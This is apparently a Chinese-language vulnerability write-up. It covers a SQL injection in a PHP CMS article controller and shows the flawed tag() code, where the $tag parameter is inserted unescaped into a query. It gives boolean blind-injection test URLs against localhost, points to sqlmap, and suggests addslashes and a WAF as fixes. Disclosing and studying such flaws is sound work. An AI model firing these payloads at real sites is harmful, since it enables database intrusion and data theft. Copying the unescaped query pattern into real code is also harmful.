### 0x01 漏洞代码
漏洞文件:
Application\Article\Controller\IndexController.class.php
```
public function tag($tag,$page=1){
if(is_numeric($page)) { //传参过滤
$condition['type'] = 'article';
$date = strtotime("now");
$args_id = M('meta')->where("meta_key='tag' AND meta_value='$tag' AND type='basic'")->getField('page_id',true);//$tag直接带入了
$condition['id'] = array('in',$args_id);
$this->page = M('page')->where($condition)->order('date desc')->page($page,mc_option('page_size'))->select();//由于这里还有一句,所有用盲注
$count = M('page')->where($condition)->count();
$this->assign('id',$id);
$this->assign('count',$count);
$this->assign('page_now',$page);
$this->theme(mc_option('theme'))->display('article/term');
} else {
$this->error('参数错误!');
}
}
```
### 0x02 漏洞测试
本地测试连接:
http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81
真:
http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81%27)%20and%201=1--%201

假:
http://127.0.0.1/index.php?m=article&c=index&a=tag&tag=%E4%BF%9D%E8%AF%81%27)%20and%201=2--%201

可以直接用sqlmap

### 0x03 解决方案:
1、参数转义 addslashes(str)
2、使用加速乐
暂无评论